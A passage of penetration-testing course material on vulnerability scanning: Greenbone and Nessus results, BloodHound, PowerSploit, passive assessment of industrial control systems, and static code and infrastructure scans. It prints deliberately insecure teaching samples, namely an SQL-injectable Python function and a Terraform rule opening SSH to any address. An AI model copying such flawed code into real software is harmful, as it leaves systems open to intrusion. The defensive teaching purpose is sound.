Here are sample results from one published Full and fast report of this image. Names and scores shift with the feed date.
| Vulnerability | Location | Severity | QoD |
|---|---|---|---|
| Possible Backdoor: Ingreslock | 1524/tcp | 10.0 | 99% |
| vsftpd Compromised Source Packages Backdoor | 21/tcp | 9.8 | 99% |
| DistCC RCE Vulnerability | 3632/tcp | 9.3 | 99% |
| Operating System End-of-Life | general/tcp | 10.0 | 80% |
Read the last two columns together. The 99s are the "tests behavior" row: the scanner got a reply that shows the problem. The end-of-life line outranks DistCC on severity but rests on identifying a version, so it needs a different kind of confirmation. Sort by severity alone and you lose that distinction.

Fabiorahamim - CC BY-SA 4.0 - Wikimedia Commons

OpenVAS Developer Team - CC BY-SA 3.0 - Wikimedia Commons
Carrying BIND 9.4.2 forward: what a version string is worth
Lesson 8 asked your target's DNS server its version and got "9.4.2", with recursion apparently on, and left that string for this module. Follow it. CVE-2008-1447, the Kaminsky cache poisoning flaw, lets an attacker spoof DNS replies to a recursive resolver. The National Vulnerability Database lists BIND before 9.4.2-P1 on that line as affected, with a CVSS v3.1 base score of 6.8. A version check does simple arithmetic: 9.4.2 is below 9.4.2-P1, so flag it. Such a result has this shape.
Sample output: a version-based result in Greenbone's usual format
Vulnerability: ISC BIND DNS cache poisoning (CVE-2008-1447)
Location: 53/udp on 192.168.56.102
Detection: Installed version: 9.4.2
Fixed version: 9.4.2-P1
Now the problem. On 8 July 2008 Ubuntu shipped its own fix, notice USN-622-1, as version 1:9.4.2-10ubuntu0.1 of the libdns35 package for Ubuntu 8.04, the release Metasploitable 2 is built on. That is backporting: the vendor copies the fix into the old version instead of moving to the new one. BIND keeps announcing 9.4.2 either way, so the banner cannot separate a patched server from an unpatched one. This is exactly why Greenbone's table has a 30 percent row that names back-ported patches.
It may also explain a silence. One published Full and fast report of this image lists no BIND result at all. That proves nothing about the server. A result could be sitting behind the 70 percent filter, or the feed may treat it differently, so look before you conclude.
The second run: same host, one changed input
Change one thing: credentials. In Greenbone, create a username and password credential for the lab account msfadmin, clone the target, attach the credential as its SSH credential, and run the same scan. Greenbone's manual says regular user access is usually enough on Linux and Unix. The scanner now logs in, lists installed packages and compares them with vendor advisories, the 97 percent row of the table.
First check that the login worked, because a failed login leaves a report that looks like the first one. Greenbone writes a login result for the credential, in the pattern its manual shows for SNMP: "Login Successful For Authenticated Checks" or "Login Failed For Authenticated Checks". On this VM the login may genuinely fail. Greenbone's scanner logs in with libssh rather than OpenSSH, and this server offers old algorithms, which the ssh2-enum-algos script from Lesson 7 lists. If it does, do by hand what the scanner would have done, on Metasploitable's console:
dpkg -l | grep -E 'bind9|libdns'
ii libdns35 [your version here] DNS Shared Library used by BIND
| The package shows | Verdict on CVE-2008-1447 | What goes in the report |
|---|---|---|
| A version below 1:9.4.2-10ubuntu0.1 | True positive: the fix is absent | A finding, with the package line as evidence |
| 1:9.4.2-10ubuntu0.1 or later | False positive for this CVE: the banner misled you | No finding for this CVE; a scanner override stating the reason |
To compare two versions the way the package manager does, use dpkg --compare-versions "YOUR-VERSION" ge "1:9.4.2-10ubuntu0.1" && echo at-or-above-fix. Either way a separate finding stands: Ubuntu 8.04 reached end of life on 9 May 2013, so later flaws get no such fix. Working credentials change a report in three ways.
| Result | No credentials | Working credentials | Why |
|---|---|---|---|
| Flaw in an installed library with no listening port | Invisible | Reported | Nothing on the network reveals it |
| Version-based flaw, like BIND above | A guess from a banner | Confirmed or cleared | A claim is replaced by a reading |
| Telnet or rexec open to the network | Reported | Reported | The exposure is the same either way |
Neither run replaces the other. The unauthenticated run answers "what can someone with no account reach and learn?", which is where an outside attacker starts. The authenticated run answers "what is installed and what is missing?", and Tenable says credentials allow a wider variety of checks and more accurate results. Defenders see valid logons from your scanner, something like sshd[4721]: Accepted password for msfadmin from 192.168.56.101 port 51544 ssh2 in the auth log, so the SOC must know. Treat that account as a high-value secret: dedicated, least privilege, disabled when the test ends.
So what?: the same host gave two different reports because one input changed. Always record which hosts were scanned with a working login.
Tenable Nessus: the same job under a commercial license
Nessus does what Greenbone does, with Tenable's plugins in place of VTs.
| Greenbone Community Edition | Tenable Nessus | |
|---|---|---|
| License and interface | Open source, free feed; 127.0.0.1:9392 | Commercial, limited free tiers; localhost:8834 |
| Where you start | Scan configurations such as Full and fast | Templates such as Basic Network Scan, Advanced Scan and Credentialed Patch Audit |
| Did the login work? | Login result for the credential | Plugin 19506 records whether credentialed checks were possible; plugin 21745 is OS Security Patch Assessment Failed |
Nessus Essentials needs registering with Tenable. As of November 2026 its page gives a 30-day license for up to 5 IP addresses, for personal, educational and non-commercial use, without data export. Verified students and instructors can get a free one-year license for Essentials Plus, and consulting work requires Nessus Professional. Nothing in this course needs an account. If you do register, read Tenable's terms first, including any age rule.
Host-based scans: from inside the machine
NIST notes that scanners can run against a host either locally or from the network. A host-based scan is the local kind: an agent or tool on the machine reads its own patches, configuration, file permissions and services. It needs no inbound access, so it suits a laptop that is rarely in the office. The limit comes with the strength: Tenable's tuning guide says its agents cannot perform remote checks or scan the network, so this view says nothing about what an outsider can reach.
Try one on your own VM. sudo lynis audit system runs Lynis, an auditing tool for hardening Linux and Unix systems, against Kali itself. The report ends something like this sample:
Lynis security scan details:
Hardening index : 66 [############# ]
Tests performed : 268
Keep this pair straight, because stems play on it. An authenticated scan still runs from your scanner across the network, so it needs reachability and a login at scan time.
A host-based scan needs software on the host and permission to put it there. Defenders see a new process reading a lot of files, which antivirus (AV) and endpoint detection and response (EDR) tools may log or block, so agree on it in advance.
Fix what it finds at the source: if the server is built from Infrastructure as Code (IaC) templates, a fix made only on the live machine vanishes at the next rebuild. Lesson 11 scans those templates.

Mboelen - CC BY-SA 4.0 - Wikimedia Commons
BloodHound: when the weakness is a relationship
Some weaknesses have no missing patch to flag. Rights in Active Directory (AD) pile up until a junior account can reach a senior one by a route nobody planned. Lesson 8 drew an attack path map by hand. BloodHound does it for AD automatically, using graph theory to reveal relationships nobody intended. Each user, group and computer is a node, each membership or right is a directed edge, and the tool searches for routes along those edges.
SpecterOps publishes the free BloodHound Community Edition, at v9.9.0 in late October 2026; BloodHound Legacy, version 4, is deprecated, so older tutorials are out of date. The collector, SharpHound, runs as a domain account. From the domain controller it gathers group memberships, domain trusts, abusable rights and Group Policy links; from each domain-joined computer it asks for local groups and active sessions. It writes JSON files into a zip for the web application, which is backed by a Neo4j graph database. Your lab has no domain, so read this fictional result.
| From | Edge | To | Plain meaning |
|---|---|---|---|
| dana@corp.example.com | MemberOf | help-desk group | Dana is on the help desk |
| help-desk group | AdminTo | fs02.corp.example.com | The group is local administrator on a file server |
| fs02.corp.example.com | HasSession | backupadm@corp.example.com | A backup administrator has logged on there |
| backupadm@corp.example.com | MemberOf | Domain Admins | That account runs the domain |
Each row looks routine. Together they put a help desk account four edges from Domain Admins. BloodHound's documentation is careful about the third row: a session means credential material is possible, not guaranteed. So this is a map of questions, and testing any of it is a separate decision under the rules of engagement. Its value in a report is the cheapest cut: remove the help desk's local administrator right on fs02, or keep domain administrators off that server, and the path is gone without patching anything.
Defenders can see collection as a burst of LDAP and SAM-R queries. Microsoft Defender for Identity lists medium-severity alerts named Security principal reconnaissance (LDAP) and User and Group membership reconnaissance (SAMR).

Farisori - CC BY-SA 4.0 - Wikimedia Commons
PowerSploit: archived, and still on the exam
PowerSploit is a collection of PowerShell modules for penetration testing. Its repository has been read-only since 21 January 2021 and its README says the project is no longer supported. The exam lists it anyway. Two of its groups belong to discovery: Recon, which includes PowerView for domain enumeration, and Privesc, whose PowerUp is a clearing house of privilege-escalation checks. PowerUp runs on a Windows host as the user under test and asks what that account could change that it should not.
| PowerUp check | What it looks for | Fix |
|---|---|---|
| Get-UnquotedService | Service paths with spaces and no quotes (Lesson 15) | Quote the path |
| Get-ModifiableServiceFile | Service programs the current user can overwrite | Correct the file's permissions |
| Get-RegistryAutoLogon | Autologon credentials stored in the registry | Remove them |
A result is a small record to interpret. This one is fictional, with its abuse suggestion removed.
ServiceName : ExampleBackupAgent
Path : C:\Program Files\Example Backup\agent.exe
StartName : LocalSystem
Check : Unquoted Service Paths
[abuse suggestion removed]
Those scripts have been public and unchanged since 2021, so expect AV and EDR products to flag them, and get the client's agreement first. Where PowerShell Script Block Logging is on, Windows records the content of what runs as event 4104. The working world has moved toward compiled tools: SharpUp is a C# port of PowerUp's common checks, and Seatbelt appears in Lesson 15. Lesson 23 returns to PowerSploit and PowerView.
The third run: change the target to a plant
Everything above assumed a machine can be rebooted. Point the same plan at an industrial control system (ICS) and the default flips from "scan it" to "send it nothing".
Sandia's reasons are physical: controller CPUs are generations behind and easily overtaxed, legacy networks are slow, and sloppy network stacks go unnoticed until a scanner exercises them. A 2010 good practice guide from the UK's CPNI says many field devices will crash or hang from a simple scan.
NIST SP 800-82 Revision 3 tells owners to use extreme caution with active scanning and to schedule it for planned outages. Greenbone's safe_checks does not change this: a test that does no harm to a server can still stop a controller.
Lesson 5's Purdue model tells you where you are standing. Levels 4 and 5 are ordinary IT, where most testing starts, and NIST warns that scanners there must be kept from mistakenly reaching the OT network, which is the gas utility story. The nearer you get to Level 0, the more of the physical process is at stake, so settle level by level with the asset owner what, if anything, may be probed. Then replace the usual actions. Sandia's table is the core of a manual assessment:
| Question | Usual IT action | Preferred action in a plant |
|---|---|---|
| Which hosts exist? | Ping sweep | Read switch CAM tables and router configurations; chase the wires; listen passively |
| Which services run? | Port scan | Check locally, for example with netstat; port scan a duplicate or test system |
| Which flaws apply? | Vulnerability scan | Read versions locally and look them up in CVE; scan a duplicate or test system |
NIST describes the same idea: use passive monitoring and manual visual inspection to keep an inventory, then cross-reference it against known vulnerabilities such as CISA advisories and the National Vulnerability Database. CPNI adds document review (inventories, architecture diagrams, procedures), configuration review and staff interviews, and says the team needs ICS engineering experience. The evidence is a dated inventory: device, firmware, location, and how you read it. Operations staff must know the assessment is happening, and if manual control is possible, someone able to take it must be present. Serial segments get the same treatment, because automated network scanning does not apply to non-routable links.

Z22 - CC BY-SA 4.0 - Wikimedia Commons

Rsparks3 - CC0 - Wikimedia Commons

Unknown author - CC BY-SA 3.0 - Wikimedia Commons
Port mirroring: hearing the plant without speaking
Port mirroring, which Cisco calls Switched Port Analyzer (SPAN), tells a managed switch to copy the traffic of chosen ports or VLANs to one more port, where your capture machine listens. CPNI says many assessments begin this way. They use a span port on each key switch and capture for hours. Then they compile statistics on who talks to whom, over what protocol and how much. The boundaries between zones are among the most important places to listen.
SPAN is a configuration change on a live switch, and Cisco warns that an oversubscribed destination port can congest, affect forwarding on the source ports and lose packets. A network tap is the hardware alternative, a device in the cable that copies one link, though NIST warns that in-line probes can mean a momentary disconnection.
Both share NIST's limits. Passive capture adds no traffic and can reveal manufacturers, part numbers and firmware versions, but it cannot identify devices that are not communicating, cannot inspect encrypted traffic without special provisioning, and often takes days. The tools are the ones from Lesson 7. Try the reading step in your lab: sudo tcpdump -i eth1 -n -w /tmp/mirror.pcap host 192.168.56.102, then tshark -r /tmp/mirror.pcap -q -z conv,tcp to list conversations. Here is a fictional three-day capture from a water utility, Harbor Water, with Level 1 on 10.30.1.0/24, Level 2 on 10.30.2.0/24 and Level 4 on 10.10.4.0/24.
| Address A | Address B | Service | Packets | Reading |
|---|---|---|---|---|
| 10.30.2.10 SCADA server | 10.30.1.21 PLC | Modbus, 502/tcp | 412,880 | Adjacent levels: expected. Classic Modbus has no authentication, so note it |
| 10.30.2.10 SCADA server | 10.30.1.40 RTU | DNP3, 20000/tcp | 96,210 | Adjacent levels: expected |
| 10.10.4.77 office PC | 10.30.1.21 PLC | Modbus, 502/tcp | 1,204 | Finding: Level 4 talks directly to Level 1, against NIST's firewall guidance |
| 10.30.1.21 PLC | 203.0.113.50 | 443/tcp | 88 | Finding: a controller is reaching outside the plant |
| 10.30.1.30 PLC (on asset list) | none | none | 0 | Not a finding yet: silent or disconnected. Verify by hand |

Dsimic - CC BY-SA 4.0 - Wikimedia Commons

Chrisliom - CC BY-SA 4.0 - Wikimedia Commons
A worked performance-based question: match the scan to the asset
Harbor Water hands you this scope sheet. Assign one approach per asset and defend it in a sentence. Decide from the Facts column before reading the two on the right.
| Asset | Facts | Approach | The clue that decides it |
|---|---|---|---|
| Public web server | Internet-facing; no account offered | Nikto, plus an unauthenticated network scan | The question is what an outsider sees |
| 60 Linux servers | Read-only SSH account; "which patches are missing?" | Authenticated Greenbone or Nessus scan, logins verified | Patch state needs a package reading |
| 120 field laptops | Rarely on site; agents allowed | Host-based agent scan | Not reachable at scan time |
| Windows domain | One standard account; "how far is the help desk from Domain Admins?" | BloodHound | A relationship question, with no CVE involved |
| Windows kiosk image | Standard-user view; EDR installed | PowerUp-style audit or SharpUp, agreed with the client | "What could this user change?"; EDR may flag it |
| Level 1 PLCs | No new traffic allowed; operators will help | Port mirroring and manual assessment | "No new traffic" rules out every active scan |
Now change one fact at a time and reason again.
- The SSH login fails on 9 of the 60 servers. Those 9 have only an outsider's view. List them in the limitations, and do not read their short reports as good news.
- The plant owns a duplicate test rig. You may now scan the rig actively, and the results carry over only where its firmware matches production.
- The rules of engagement add "see whether the SOC notices". The web server now calls for a quiet scan first, and you record what the SOC saw and when.
The whole family at a glance
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| TCP/UDP network scan | Services reachable that need not be | Nmap, scanner port lists | Firewall and IDS logs; ICMP bursts | Close or firewall unneeded ports |
| Stealth scan | Logs and thresholds that miss half-open or slow probes | Nmap -sS, -sF, -T1 | IDS and long-window correlation | Scan detection tuned over time |
| Web server scan | Old versions, default files, risky methods | Nikto | Thousands of 404s from one address | Patch; remove defaults; disable TRACE |
| Unauthenticated vulnerability scan | Flaws visible from the network | Greenbone/OpenVAS, Nessus | IDS alerts; many services logging errors | Patch, remove or restrict the service |
| Authenticated scan | Gaps only a login can read | The same, with SSH or SMB credentials | Valid logons from the scanner | Patch management; least-privilege account |
| Host-based scan | Local patches, settings, permissions | Lynis, Nessus agents | New process; AV and EDR telemetry | Harden the host and its template |
| AD relationship mapping | Rights and sessions nobody reviewed | BloodHound, SharpHound, PowerView | LDAP and SAM-R bursts; Defender for Identity alerts | Remove excess rights; keep admins off lower-tier hosts |
| Windows host audit | Misconfigurations a standard user can use | PowerSploit's PowerUp, SharpUp, Seatbelt | Event 4104; AV and EDR alerts | Quote paths; fix permissions; clear stored passwords |
| ICS manual assessment | Old firmware, undocumented change | Documents, walk-downs, CISA advisories | Nothing on the wire; staff are present | Patch at planned outages; compensating controls |
| ICS port mirroring | Cleartext protocols; flows across levels | SPAN or tap, tcpdump, Wireshark | A switch change; nothing reaches devices | Adjacent-level firewall rules; controlled outbound |
Exam cues: what the stem is really asking
Objective 3.1 begins "Given a scenario", and these are the pairs people mix up.
| The stem says | It points to | Do not confuse with |
|---|---|---|
| "Missing patches", "fewest false positives", "account provided" | Authenticated scan | Host-based scan, which runs on the machine |
| "What an outside attacker can see" | Unauthenticated scan | Authenticated scan, which sees more than an outsider |
| "Agent", "laptops off the network" | Host-based scan | Authenticated scan, which must reach the host |
| "Half-open", "little in application logs" | SYN scan | Connect scan, which completes the handshake |
| "SNMP never appeared in the report" | Port list without UDP | A host that is not vulnerable |
| "Web server", "default files", "TRACE" | Nikto | Greenbone or Nessus, which cover whole hosts |
| "QoD", "VTs", "Full and fast" | Greenbone/OpenVAS | Nessus: "plugins", "templates" |
| "Banner matches, but the vendor back-ported the fix" | False positive; check the package | A confirmed vulnerability |
| "Login failed", plugin 21745 | Scan limitation; patch state unknown | A clean host |
| "Shortest path to Domain Admins", "edges" | BloodHound | A scanner, which looks for flaws one at a time |
| "PowerUp", "PowerView", "no longer supported" | PowerSploit | SharpUp or Seatbelt, compiled tools in use now |
| "PLC", "no new traffic", "who talks to whom" | Port mirroring | A slow scan, which still sends packets |
| "Document review", "walk-down", "serial devices" | Manual assessment | Port mirroring, which sees only communicating IP traffic |
How scan results are reported
Scanner output is evidence, not findings. A finding says what is true after you checked. Here is one from the fictional Harbor Water engagement.
- Title: Recursive DNS resolver dns1 lacks the July 2008 cache poisoning fix (CVE-2008-1447).
- Severity: High for this client, above the CVSS v3.1 base score of 6.8 (Medium). dns1 is the only resolver for about 400 staff, so a spoofed answer could redirect mail and web traffic across the company. It is not Critical because the attacker must win a race, and the flaw affects integrity, not code execution.
- Evidence: authenticated Greenbone result, QoD 97 percent, with report file and date;
dpkg -lshows libdns35 at 1:9.4.2-10, below the fixed 1:9.4.2-10ubuntu0.1 in USN-622-1; the banner query returned 9.4.2. No cache poisoning was attempted. - Root cause: the host runs Ubuntu 8.04, unsupported since 9 May 2013, and sits outside the patch process.
- Remediation: move the resolver to a supported release and current BIND; until then, restrict recursion to named clients. Confirm with a credentialed rescan.
The methodology must state the conditions of the scan, because they decide what its silences mean:
- tool and feed date
- port list including UDP
- QoD filter
- safe checks
- the hosts where login worked and failed
- anything blocked mid-run
In a plant report, say plainly that no active scanning was done, what was read by hand, and which devices were never seen. Those belong in the limitations, where a client can act on them. Lesson 12 turns this into formal validation, and Lesson 14 explains how scoring systems weigh severity.
Common misconceptions
- "A clean report means a clean host." A default report may have skipped UDP, hidden everything under 70 percent QoD or failed its login.
- "The version number settles it." Back-ported fixes keep the old number. Read the package.
- "Stealth scans are invisible." They leave fewer application logs, but firewalls and intrusion detection still see them.
- "Safe checks make a scanner safe for controllers." A ping sweep alone has moved a robot arm and hung a chip plant.
- "BloodHound finds vulnerabilities." It finds relationships. Nothing in a path need be unpatched.
What to remember
- A scanner knows by reading a claim, reading the machine, or testing behavior. Greenbone's QoD scores these: 30 or 80 for banners, 97 for package and registry checks, 99 for a remote test that shows the flaw.
- Greenbone hides results under 70 percent QoD by default, and its default port list has no UDP. The Nessus Advanced Scan template covers about 4,790 ports with SYN on and UDP off.
- Ubuntu fixed CVE-2008-1447 in libdns35 1:9.4.2-10ubuntu0.1 while BIND's banner still says 9.4.2, so the package decides, not the banner.
- An authenticated scan logs in across the network; a host-based scan runs on the machine. Confirm the login worked: Greenbone's login result, Nessus plugins 19506 and 21745.
- Stealth means less logged, not unseen: SYN scans rarely reach application logs, but IDS products catch them, and an IPS can block a scanner mid-run.
- Nikto runs over 8,000 checks against a web server and is loud. It sees the server layer, not application logic.
- BloodHound graphs AD rights and sessions from SharpHound data. PowerSploit, with PowerUp and PowerView, has been archived since 21 January 2021.
- On an ICS, NIST favors passive monitoring and manual inspection, cross-referenced to advisories, with active scans only at planned outages or on a replica. Passive capture misses silent devices, encrypted content and serial links.
Sources
- Duggan, D. P., Berg, M., Dillinger, J., and Stamp, J. (2005). Penetration testing of industrial control systems (SAND2005-2846P). Sandia National Laboratories. archived at webarchive.library.unt.edu
- Centre for the Protection of National Infrastructure. (2010). Cyber security assessments of industrial control systems: A good practice guide. archived at web.archive.org
- National Institute of Standards and Technology. Stouffer, K., et al. (2023). Guide to operational technology (OT) security (SP 800-82 Rev. 3), section 5, Appendix E.2.2-E.2.3 and Appendix F control RA-5. csrc.nist.gov; Scarfone, K., et al. (2008). Technical guide to information security testing and assessment (SP 800-115), section 4. nvlpubs.nist.gov
- Greenbone AG. (n.d.). Greenbone Enterprise Appliance manual, GOS 22.04: Scanning a system; Reading the results (Quality of Detection). scanning; reports; Greenbone Community Documentation: Architecture. architecture; Greenbone Community Forum. SSH authentication unsuccessful for authenticated scans (libssh). forum; Kali Linux. (n.d.). gvm. kali.org
- Tenable. (2026). Tenable Nessus 10.12 user guide: Discovery settings; Credentials; Scan templates. discovery; credentials; Nessus scan tuning guide. tuning; Nessus Essentials. Essentials; plugins 19506 and 21745
- Sullo, C. (2026). Nikto, README and release notes for version 2.6.1. github.com; cirt.net
- Published scan records of Metasploitable 2, used only to shape the samples: Reid, C. (n.d.). Metasploitable/Apache/Python. charlesreid1.com; Sabry, M. (n.d.). Metasploitable2 penetration testing report. github.com
- Records of CVE-2008-1447: National Vulnerability Database. nvd.nist.gov; Canonical. (2008). USN-622-1: Bind vulnerability. ubuntu.com; Conrad, A. (2013, May 9). Ubuntu 8.04 (Hardy Heron) End of Life reached on May 9, 2013. lists.ubuntu.com
- SpecterOps. (2026). BloodHound documentation: SharpHound Community Edition; HasSession; BloodHound repository (v9.9.0); BloodHound Legacy README. SharpHound; HasSession; repository; Legacy
- PowerShellMafia. (n.d.). PowerSploit repository and Privesc README. github.com; GhostPack. (n.d.). SharpUp. github.com
- Microsoft. (n.d.). Security alerts in Microsoft Defender for Identity; about_Logging_Windows. alerts; logging
- Cisco. (n.d.). Configure Catalyst Switched Port Analyzer (SPAN). cisco.com
- Lyon, G. (n.d.). Nmap network scanning: Port scanning techniques; Detection of Nmap scans. techniques; detection
- Key terms
- Authenticated scan
- A vulnerability scan in which the scanner logs in to each target across the network, usually over SSH or SMB, and reads installed packages and settings; also called a credentialed scan.
- Host-based scan
- A vulnerability scan run on the machine itself by an agent or local tool; it needs no inbound access but cannot show what the network can reach.
- Quality of Detection (QoD)
- Greenbone's 0 to 100 percent rating of how reliably a result was detected, from 30 for an unreliable banner to 97 for a package check and 100 for an exploit.
- Backporting
- Copying a security fix into an older software version, so a package is patched while the version number the service announces stays the same.
- Nikto
- An open-source web server scanner that checks for over 8,000 dangerous files and programs, outdated versions and misconfigurations, and is easy to see in logs.
- OpenVAS
- The original name of the open-source vulnerability scanner now packaged as Greenbone Community Edition; OpenVAS Scanner remains the name of its scan engine.
- Nessus
- Tenable's commercial vulnerability scanner, which tests hosts with plugins and offers limited free Essentials licenses that require registration.
- BloodHound
- A SpecterOps tool that loads Active Directory data into a graph database and finds routes through memberships, rights and sessions.
- PowerSploit
- A collection of PowerShell penetration testing modules, including PowerUp and PowerView, archived in January 2021 and no longer supported.
- Port mirroring
- A managed switch feature, called SPAN on Cisco devices, that copies traffic from chosen ports to a monitoring port, so it can be captured without sending anything to the devices.
Reading the Code and the Containers: SAST, DAST, IAST, SCA, IaC, Secrets, and Image Scans
- Choose among SAST, source code analysis, IaC, SCA, DAST, IAST, mobile, secrets, image, sidecar and cluster scans from what the client has handed you and what each scan cannot see.
- Read sample output from Bandit, Trivy, Grype, TruffleHog, ZAP and Kube-hunter, and say what each line does and does not prove.
- Explain TruffleHog's verified, unverified and unknown results, and why verifying a credential needs written permission.
- Report a scan result with its title, severity, evidence, root cause and remediation, including the tool version, database date and image digest or commit.
One invoice portal, nine defects, no single scanner
Meridian Freight's invoice portal has 340 Git commits, one Dockerfile, one Terraform file, an Android app for its drivers and nine security defects. Meridian is fictional; every real tool, CVE and incident below is named as such.
| Defect | Where it lives | Seen by |
|---|---|---|
| 1. SQL built by joining strings | invoices.py, line 42 | SAST; IAST or DAST if a test reaches that route |
| 2. log4j-core 2.14.1 in the PDF service | pom.xml and the built image | SCA, image scan |
| 3. AWS key, committed and deleted one commit later | Git history | Secrets scan of the history |
| 4. SSH open to 0.0.0.0/0 | network.tf | IaC scan; a network scan once deployed |
| 5. Container runs as root | Dockerfile | IaC scan; image scan checking configuration |
| 6. No Content-Security-Policy header | Load balancer, outside the repository | DAST |
| 7. Debuggable flag and a hardcoded key | Android package | Mobile scan |
| 8. Anonymous access to the Kubernetes API | Cluster settings | Kube-hunter, Trivy's Kubernetes scan |
| 9. Any driver can open any invoice by changing its number | Application logic | A person testing by hand |
Each scan reads one kind of artifact and is blind to the rest, and defect 9 needs a person. So a scenario question on this objective usually comes down to one thing: what has the client handed you?
Exam objectives: 3.1 (container scans, including sidecar scans; application scans: DAST, IAST, SCA, and SAST with its Infrastructure as Code and source code analysis branches, plus mobile scans; secrets scanning; TruffleHog, Grype, Trivy and Kube-hunter). Lessons 10 and 20 cover the network, host and wireless scans.
Before you run anything
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Code, images and cluster access all belong to the client, so the rules of engagement (ROE) must name each one. Most scans here only read files. Two go further and need their own line in the permission: a DAST active scan sends attacks at a running application, and TruffleHog's verification uses a credential against its provider.
Commands here name only files on your Kali VM or the Juice Shop image from Lesson 2, and none needs an account or paid service. Kali packages Trivy, TruffleHog and ZAP; Grype and Bandit install separately. Trivy and Grype download vulnerability databases, so run sudo trivy image --download-db-only and sudo grype db update with Kali's NAT adapter attached, then detach it. Grype refuses a database older than five days by default.
The scans side by side: what each one reads and what it needs
| Scan | Reads | App running? | You need |
|---|---|---|---|
| SAST: source code analysis | Source, bytecode, binaries | No | Repository access |
| SAST: IaC | Templates, manifests, Dockerfiles | No | Repository access |
| SCA | Manifests, lockfiles, libraries, SBOMs | No | Repository or build output |
| Secrets | Files, Git history, images, logs | No | Read access to each |
| Image | Layers of a built image | No | Image or registry pull rights |
| Sidecar | One running pod, from inside | Yes | The right to change the pod |
| Cluster | What a cluster exposes, or how it is set up | Yes | A network path, or list rights |
| DAST | Responses from the running app | Yes | A URL, ideally a test login |
| IAST | Data flow inside the running app | Yes, under test | Agent on the server, test traffic |
| Mobile | App package, then the running app | Both | APK or IPA; emulator or test phone |
Developers meet these at different stages of the software development life cycle (SDLC):
- SAST plug-ins in the integrated development environment (IDE) as code is written
- SCA, secrets, IaC and image scans in the continuous integration/continuous delivery (CI/CD) pipeline
- DAST and IAST once a test environment exists
The core of it: a scan can only find what exists in the thing it reads, and none of them knows who should be allowed to open invoice 1042. Choose by what you hold, then write down what that choice cannot see.

Kharnagy - CC BY-SA 4.0 - Wikimedia Commons
Source code analysis and SAST: reading without running
Static application security testing (SAST) examines source, bytecode or binaries without executing them. The objectives hang two branches from it: source code analysis, by tool or by eye, and Infrastructure as Code, the next section. A tool's central technique is taint analysis, as OWASP describes it: follow a value the user controls through the program, and flag it if it reaches a dangerous function, the sink, unsanitized. Here is defect 1 with its fix, then what Bandit, a free Python SAST tool, prints for bandit -r ./portal (its documented format; file and line fictional).
# Flagged: the value becomes part of the SQL text.
def find_invoice(conn, invoice_id):
query = "SELECT * FROM invoices WHERE id = '%s'" % invoice_id # line 42
return conn.execute(query).fetchone()
# The fix: the driver sends the value separately, so it cannot change the statement.
def find_invoice(conn, invoice_id):
query = "SELECT * FROM invoices WHERE id = ?"
return conn.execute(query, (invoice_id,)).fetchone()
>> Issue: Possible SQL injection vector through string-based query construction.
Severity: Medium Confidence: Low
CWE: CWE-89
Location: ./invoices.py:42
Severity is how bad the pattern would be if real. Confidence is how sure the tool is. Bandit's documentation explains the low rating: this rule matches strings that look like SQL being built, and raises confidence only when the string sits directly in an execute call. It has matched a shape, not traced a user. So you trace it: invoice_id comes from the URL in routes.py and reaches line 42 unchanged, and now you have a finding. The same alert on a line fed by a hard-coded constant would be a false positive (Lesson 12).
OWASP says SAST scales, repeats cheaply and names the file and line, but produces many false positives, struggles with authentication and access control, and often cannot see configuration, which is not in the code. Reading by eye, from a grep keyword search to line by line, is where OWASP's testing guide says logic and design flaws surface. Choose SAST when you hold the repository and want the exact line; choose DAST when you need to show how the running application behaves.

SonarSource - CC BY 3.0 - Wikimedia Commons
Infrastructure as Code: scanning the blueprint
Infrastructure as code (IaC) describes servers, networks and clusters in text files that a tool then builds: Terraform and CloudFormation templates, Helm charts, Kubernetes manifests, Dockerfiles. Text can be scanned before anything exists, which is why the objectives file it under SAST. Here is defect 4 and the shape of what trivy config . prints; the rule title is real.
# network.tf
resource "aws_security_group_rule" "ssh" {
type = "ingress"
protocol = "tcp"
from_port = 22
to_port = 22
cidr_blocks = ["0.0.0.0/0"] # line 7
}
network.tf (terraform)
Failures: 1 (HIGH: 1)
HIGH: Security groups should not allow unrestricted ingress to SSH or RDP from any IP address.
network.tf:7
The same command flags defect 5's Dockerfile: HIGH: Image user should not be 'root'. Checkov does the same job.
Now change one input. Suppose the line reads cidr_blocks = [var.admin_cidr], the default is 0.0.0.0/0, and production's real value sits in a prod.tfvars file you were not given.
Trivy evaluates the variables it can see, so it should report the default; rerun with trivy config --tf-vars prod.tfvars ., where the value is 203.0.113.0/24, and the finding should disappear. A template scan reports what the files say, given the inputs you supplied.
So ask for the variable files, and confirm important results on the live system, which may have drifted since (Lesson 19). The fix belongs in the template, since a change made only on the live system vanishes at the next rebuild (Lesson 10).
Software composition analysis: the code nobody at the client wrote
Software composition analysis (SCA) identifies the open source and third-party components in an application, their known vulnerabilities and often their license terms. It reads manifests and lockfiles such as pom.xml, packaged libraries, or a software bill of materials (SBOM), an inventory in a standard format such as SPDX or CycloneDX. Libraries pull in other libraries:
invoice-pdf 1.4.0
pdf-renderer 3.2.1 direct dependency: your team chose it
log4j-core 2.14.1 transitive dependency: pdf-renderer chose it
That last line is defect 2, and Log4Shell (CVE-2021-44228) is the real case behind it.
Apache's advisory says an attacker who controls log messages or their parameters could run code loaded from LDAP servers; Java 8 users needed 2.15.0, and even that fix proved incomplete in some configurations.
Four scans see one such service differently. SAST sees an ordinary logging call in the team's own code and reports nothing. SCA matches log4j-core 2.14.1 in the manifest to the CVE. An image scan finds the same library even inside another JAR, because Trivy reads a JAR's own metadata. DAST reports it only if a probe reaches a field the service logs and the scanner can observe the outbound lookup that follows. Grype's documentation shows how a match prints (its own example, with an older version):
NAME INSTALLED FIXED-IN TYPE VULNERABILITY SEVERITY EPSS RISK
log4j-core 2.4.0 2.12.2 java-archive CVE-2021-44228 Critical 94.4% (99th) 100.0 (kev)
EPSS estimates how likely exploitation is (Lesson 14), and (kev) marks CISA's Known Exploited Vulnerabilities catalog. A match says the component is present, not that the flawed function is ever called, so someone must read the code or run IAST to find out. And scanners disagree. Imtiaz, Thorne and Williams ran nine SCA tools against one application in 2021. Counts of vulnerable dependencies ran from 17 to 332 on its Maven projects, and they advised against relying on any single tool. The fix is an upgrade, or an override where a parent library has no new release, plus a current SBOM.

WorkAgain - CC BY-SA 4.0 - Wikimedia Commons
DAST: asking the running application
